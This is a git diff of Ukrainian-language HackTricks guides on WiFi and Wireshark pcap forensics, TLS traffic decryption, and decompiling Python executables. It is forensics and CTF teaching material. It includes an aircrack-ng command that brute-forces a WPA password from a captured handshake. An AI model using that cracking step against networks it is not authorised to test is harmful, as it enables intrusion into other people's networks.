* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,50 +1,67 @@
# Wifi Pcap Analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Check BSSIDs
# Перевірка BSSIDs
Коли ви отримуєте захоплення, основний трафік якого - Wifi, використовуючи WireShark, ви можете почати досліджувати всі SSID захоплення з _Wireless --> WLAN Traffic_:
Коли ви отримуєте захоплення, головний трафік якого є Wifi, використовуючи WireShark, ви можете почати досліджувати всі SSID захоплення за допомогою _Wireless --> WLAN Traffic_:
![](<../../../.gitbook/assets/image (106).png>)
![](<../../../.gitbook/assets/image (424).png>)
![](<../../../.gitbook/assets/image (492).png>)
![](<../../../.gitbook/assets/image (425).png>)
### Brute Force
## Brute Force
Один з стовпців на екрані показує, чи **була знайдена будь-яка аутентифікація всередині pcap**. Якщо це так, ви можете спробувати використати Brute force за допомогою `aircrack-ng`:
Одна з колонок цього екрану вказує, чи **була знайдена будь-яка аутентифікація всередині pcap**. Якщо це так, ви можете спробувати зламати її за допомогою `aircrack-ng`:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Наприклад, він витягне пароль WPA, що захищає PSK (попередньо встановлений ключ), який буде потрібно розшифрувати трафік пізніше.
Наприклад, він отримає WPA пароль, що захищає PSK (попередньо поділений ключ), який буде потрібен для розшифровки трафіку пізніше.
# Дані в маяках / Бічний канал
## Дані в Beacon'ах / Бічний канал
Якщо ви підозрюєте, що **дані витікають всередині маяків мережі Wifi**, ви можете перевірити маяки мережі, використовуючи фільтр, подібний до наступного: `wlan містить <ІМЯмережі>`, або `wlan.ssid == "ІМЯмережі"` шукати підозрілі рядки всередині відфільтрованих пакетів.
Якщо ви підозрюєте, що **дані витікають у beacon'ах Wifi мережі**, ви можете перевірити beacon'и мережі, використовуючи фільтр, подібний до наступного: `wlan contains <NAMEofNETWORK>`, або `wlan.ssid == "NAMEofNETWORK"` шукайте в відфільтрованих пакетах підозрілі рядки.
# Знайдіть невідомі MAC-адреси в мережі Wifi
## Знайти невідомі MAC-адреси в Wifi мережі
Наступне посилання буде корисним для пошуку **машин, що відправляють дані всередині мережі Wifi**:
Наступне посилання буде корисним для знаходження **машин, що надсилають дані в Wifi мережі**:
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Якщо ви вже знаєте **MAC-адреси, ви можете видалити їх з виводу**, додавши перевірки, подібні до цієї: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Якщо ви вже знаєте **MAC-адреси, ви можете видалити їх з виходу**, додавши перевірки, подібні до цієї: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Після виявлення **невідомих MAC-адрес, що спілкуються всередині мережі**, ви можете використовувати **фільтри**, подібні до наступного: `wlan.addr==<MAC-адрес> && (ftp || http || ssh || telnet)` для фільтрації його трафіку. Зверніть увагу, що фільтри ftp/http/ssh/telnet корисні, якщо ви розшифрували трафік.
Якщо ви виявили **невідомі MAC** адреси, що спілкуються в мережі, ви можете використовувати **фільтри**, подібні до наступного: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)`, щоб відфільтрувати їх трафік. Зверніть увагу, що фільтри ftp/http/ssh/telnet корисні, якщо ви розшифрували трафік.
# Розшифрувати трафік
## Розшифрувати трафік
Редагувати --> Налаштування --> Протоколи --> IEEE 802.11--> Редагувати
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../.gitbook/assets/image (426).png>)
![](<../../../.gitbook/assets/image (499).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,145 +1,158 @@
# Хитрощі Wireshark
# Wireshark tricks
## Хитрощі Wireshark
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Покращуйте свої навички Wireshark
### [WhiteIntel](https://whiteintel.io)
### Навчальні посібники
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
Наступні навчальні посібники дивовижні для вивчення деяких цікавих базових трюків:
[**WhiteIntel**](https://whiteintel.io) є **пошуковою системою**, що працює на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **компрометовані** **шкідливими програмами**.
Основна мета WhiteIntel - боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
***
## Improve your Wireshark skills
### Tutorials
Наступні навчальні посібники чудово підходять для вивчення деяких основних трюків:
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
### Аналізована інформація
### Analysed Information
**Інформація експерта**
**Expert Information**
Клацнувши на _**Аналізувати** --> **Інформація експерта**_ ви отримаєте **огляд** того, що відбувається в **аналізованих** пакетах:
Клацнувши на _**Analyze** --> **Expert Information**_, ви отримаєте **огляд** того, що відбувається в **аналізованих** пакетах:
![](<../../../.gitbook/assets/image (570).png>)
![](<../../../.gitbook/assets/image (256).png>)
**Вирішені адреси**
**Resolved Addresses**
Під _**Статистика --> Вирішені адреси**_ ви можете знайти кілька **інформації**, яка була "**вирішена**" Wireshark, такі як порт/транспорт до протоколу, MAC до виробника тощо. Цікаво знати, що включено в комунікацію.
У розділі _**Statistics --> Resolved Addresses**_ ви можете знайти кілька **інформацій**, які були "**розв'язані**" Wireshark, таких як порт/транспорт до протоколу, MAC до виробника тощо. Цікаво знати, що залучено в комунікацію.
![](<../../../.gitbook/assets/image (571).png>)
![](<../../../.gitbook/assets/image (893).png>)
**Ієрархія протоколів**
**Protocol Hierarchy**
Під _**Статистика --> Ієрархія протоколів**_ ви можете знайти **протоколи**, що **залучені** в комунікацію та дані про них.
У розділі _**Statistics --> Protocol Hierarchy**_ ви можете знайти **протоколи**, **залучені** в комунікацію, та дані про них.
![](<../../../.gitbook/assets/image (572).png>)
![](<../../../.gitbook/assets/image (586).png>)
**Розмови**
**Conversations**
Під _**Статистика --> Розмови**_ ви можете знайти **короткий огляд розмов** в комунікації та дані про них.
У розділі _**Statistics --> Conversations**_ ви можете знайти **резюме розмов** у комунікації та дані про них.
![](<../../../.gitbook/assets/image (573).png>)
![](<../../../.gitbook/assets/image (453).png>)
**Кінцеві точки**
**Endpoints**
Під _**Статистика --> Кінцеві точки**_ ви можете знайти **короткий огляд кінцевих точок** в комунікації та дані про кожну з них.
У розділі _**Statistics --> Endpoints**_ ви можете знайти **резюме кінцевих точок** у комунікації та дані про кожну з них.
![](<../../../.gitbook/assets/image (575).png>)
![](<../../../.gitbook/assets/image (896).png>)
**Інформація DNS**
**DNS info**
Під _**Статистика --> DNS**_ ви можете знайти статистику про захоплені запити DNS.
У розділі _**Statistics --> DNS**_ ви можете знайти статистику про захоплені DNS запити.
![](<../../../.gitbook/assets/image (577).png>)
![](<../../../.gitbook/assets/image (1063).png>)
**Графік введення/виведення**
**I/O Graph**
Під _**Статистика --> Графік введення/виведення**_ ви можете знайти **графік комунікації.**
У розділі _**Statistics --> I/O Graph**_ ви можете знайти **графік комунікації.**
![](<../../../.gitbook/assets/image (574).png>)
![](<../../../.gitbook/assets/image (992).png>)
### Фільтри
### Filters
Тут ви можете знайти фільтр Wireshark в залежності від протоколу: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Тут ви можете знайти фільтри Wireshark в залежності від протоколу: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Інші цікаві фільтри:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* Трафік HTTP та початковий трафік HTTPS
* HTTP та початковий HTTPS трафік
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
* Трафік HTTP та початковий трафік HTTPS + TCP SYN
* HTTP та початковий HTTPS трафік + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* Трафік HTTP та початковий трафік HTTPS + TCP SYN + запити DNS
* HTTP та початковий HTTPS трафік + TCP SYN + DNS запити
### Пошук
### Search
Якщо ви хочете **шукати** **вміст** всередині **пакетів** сеансів, натисніть _CTRL+f_. Ви можете додати нові шари до головної панелі інформації (№, Час, Джерело тощо), натиснувши праву кнопку, а потім редагувати стовпець.
Якщо ви хочете **шукати** **вміст** всередині **пакетів** сесій, натисніть _CTRL+f_. Ви можете додати нові шари до основної інформаційної панелі (No., Time, Source тощо), натиснувши праву кнопку миші, а потім редагуючи стовпець.
### Безкоштовні лабораторії pcap
### Free pcap labs
**Практикуйте з безкоштовними викликами: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
**Практикуйтеся з безкоштовними завданнями на:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
## Визначення доменів
## Identifying Domains
Ви можете додати стовпець, який показує заголовок Host HTTP:
![](<../../../.gitbook/assets/image (403).png>)
![](<../../../.gitbook/assets/image (639).png>)
І стовпець, який додає ім'я сервера з початкового з'єднання HTTPS (**ssl.handshake.type == 1**):
І стовпець, який додає ім'я сервера з ініціюючого HTTPS з'єднання (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>)
## Визначення локальних імен хостів
## Identifying local hostnames
### З DHCP
### From DHCP
У поточному Wireshark замість `bootp` вам потрібно шукати `DHCP`
У сучасному Wireshark замість `bootp` вам потрібно шукати `DHCP`
![](<../../../.gitbook/assets/image (404).png>)
![](<../../../.gitbook/assets/image (1013).png>)
### З NBNS
### From NBNS
![](<../../../.gitbook/assets/image (405).png>)
![](<../../../.gitbook/assets/image (1003).png>)
## Розшифрування TLS
## Decrypting TLS
### Розшифрування трафіку https за допомогою приватного ключа сервера
### Decrypting https traffic with server private key
_редагування>параметри>протокол>ssl>_
_edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (98).png>)
![](<../../../.gitbook/assets/image (1103).png>)
Натисніть _Редагувати_ та додайте всі дані сервера та приватного ключа (_IP, Порт, Протокол, Файл ключа та пароль_)
Натисніть _Edit_ і додайте всі дані сервера та приватний ключ (_IP, Port, Protocol, Key file and password_)
### Розшифрування трафіку https за допомогою симетричних ключів сеансу
### Decrypting https traffic with symmetric session keys
Як Firefox, так і Chrome мають можливість реєструвати ключі сеансу TLS, які можна використовувати з Wireshark для розшифрування трафіку TLS. Це дозволяє проводити глибинний аналіз безпечних комунікацій. Докладнішу інформацію про те, як виконати це розшифрування, можна знайти в посібнику на [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Як Firefox, так і Chrome мають можливість записувати TLS сесійні ключі, які можна використовувати з Wireshark для розшифровки TLS трафіку. Це дозволяє проводити детальний аналіз захищених комунікацій. Більше деталей про те, як виконати цю розшифровку, можна знайти в посібнику на [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Щоб виявити це, шукайте всередині середовища змінну `SSLKEYLOGFILE`
Щоб виявити це, шукайте в середовищі змінну `SSLKEYLOGFILE`
Файл спільних ключів буде виглядати так:
Файл спільних ключів виглядатиме так:
![](<../../../.gitbook/assets/image (99).png>)
![](<../../../.gitbook/assets/image (820).png>)
Щоб імпортувати це в Wireshark, перейдіть до \_редагувати > параметри > протокол > ssl > та імпортуйте його в (Pre)-Master-Secret log filename:
Щоб імпортувати це в Wireshark, перейдіть до _edit > preference > protocol > ssl > і імпортуйте його в (Pre)-Master-Secret log filename:
![](<../../../.gitbook/assets/image (100).png>)
![](<../../../.gitbook/assets/image (989).png>)
## Комунікація ADB
## ADB communication
Витягніть APK з комунікації ADB, де APK було відправлено:
Витягніть APK з ADB комунікації, де APK був надісланий:
```python
from scapy.all import *
@ -166,16 +179,29 @@ f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) — це **пошукова система**, що працює на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **компрометовані** **шкідливими програмами-крадіями**.
Основна мета WhiteIntel — боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Розкодування скомпільованих бінарних файлів Python (exe, elf) - Отримання з .pyc
# Декомпіляція скомпільованих python бінарників (exe, elf) - Отримання з .pyc
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримка HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Підказка з баг-баунті**: **зареєструйтеся** на **Intigriti**, преміальній **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
**Порада з баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Від Компільованого Бінарного Файлу до .pyc
## Від скомпільованого бінарника до .pyc
З **ELF** скомпільованого бінарного файлу ви можете **отримати .pyc** за допомогою:
З **ELF** скомпільованого бінарника ви можете **отримати .pyc** за допомогою:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name
to filename? /tmp/binary.pyc
```
У **скомпільованому бінарному файлі python exe** ви можете **отримати .pyc**, запустивши:
В **python exe binary**, скомпільованому, ви можете **отримати .pyc**, запустивши:
```bash
python pyinstxtractor.py executable.exe
```
## З .pyc до коду Python
## Від .pyc до коду python
Для даних у форматі **.pyc** ("скомпільований" Python) спробуйте **витягти** **оригінальний** **код Python**:
Для даних **.pyc** ("скомпільований" python) ви повинні почати намагатися **витягти** **оригінальний** **код** **python**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Переконайтеся**, що у бінарного файлу є **розширення** "**.pyc**" (якщо ні, **uncompyle6** не буде працювати)
**Переконайтеся**, що бінарний файл має **розширення** "**.pyc**" (якщо ні, uncompyle6 не буде працювати)
Під час виконання **uncompyle6** ви можете зустріти **наступні помилки**:
Під час виконання **uncompyle6** ви можете зіткнутися з **наступними помилками**:
### Помилка: Невідомий магічний номер 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Для виправлення цього вам потрібно **додати правильний магічний номер** на початку створеного файлу.
Щоб виправити це, вам потрібно **додати правильний магічний номер** на початку згенерованого файлу.
**Магічні номери відрізняються залежно від версії Python**, щоб отримати магічний номер **Python 3.8**, вам потрібно **відкрити термінал Python 3.8** та виконати:
**Магічні номери варіюються в залежності від версії python**, щоб отримати магічний номер **python 3.8**, вам потрібно **відкрити термінал python 3.8** і виконати:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
**Магічне число** у цьому випадку для python3.8 - **`0x550d0d0a`**, тому, щоб виправити цю помилку, вам потрібно **додати** на **початок** файлу **.pyc** наступні байти: `0x0d550a0d000000000000000000000000`
**Магічне число** в цьому випадку для python3.8 - це **`0x550d0d0a`**, тоді, щоб виправити цю помилку, вам потрібно **додати** на **початку** **.pyc файлу** наступні байти: `0x0d550a0d000000000000000000000000`
**Після** того, як ви **додасте** цей магічний заголовок, **помилка повинна бути виправлена.**
**Якщо** ви **додали** цей магічний заголовок, **помилка повинна бути виправлена.**
Ось як буде виглядати правильно доданий **магічний заголовок .pyc python3.8**:
Ось як правильно доданий **.pyc python3.8 магічний заголовок** виглядатиме:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Помилка: Розкодування загальних помилок
### Помилка: Декомпіляція загальних помилок
**Інші помилки**, такі як: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` можуть з'являтися.
**Інші помилки** такі як: `class 'AssertionError'>; co_code повинен бути одним з типів (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); є тип <class 'NoneType'>` можуть з'явитися.
Це, ймовірно, означає, що ви **не додали правильно** магічне число або що ви **не використовували** **правильне магічне число**, тому переконайтеся, що ви використовуєте правильне (або спробуйте нове).
Це, ймовірно, означає, що ви **неправильно додали** магічний номер або що ви **не використали** **правильний магічний номер**, тому **переконайтеся, що ви використовуєте правильний** (або спробуйте новий).
Перевірте попередню документацію про помилки.
Перевірте документацію попередніх помилок.
## Автоматичний інструмент
[**Інструмент python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) служить комбінацією кількох інструментів, доступних у спільноті, призначених для допомоги дослідникам у розпакуванні та розкодуванні виконуваних файлів, написаних мовою Python, зокрема тих, що створені за допомогою py2exe та pyinstaller. Він містить правила YARA для визначення, чи є виконуваний файл на основі Python, та підтверджує інструмент створення.
[**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) служить комбінацією кількох доступних інструментів спільноти, призначених для допомоги дослідникам у розпаковуванні та декомпіляції виконуваних файлів, написаних на Python, зокрема тих, що створені за допомогою py2exe та pyinstaller. Він включає правила YARA для ідентифікації, чи є виконуваний файл на основі Python, і підтверджує інструмент створення.
### ImportError: Ім'я файлу: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' не існує
Часто зустрічається проблема, пов'язана з неповним файлом байткоду Python, яка виникає в результаті **розпакування за допомогою unpy2exe або pyinstxtractor**, яка потім **не визнається uncompyle6 через відсутність номера версії байткоду Python**. Для вирішення цієї проблеми була додана опція prepend, яка додає необхідний номер версії байткоду Python, що сприяє процесу розкодування.
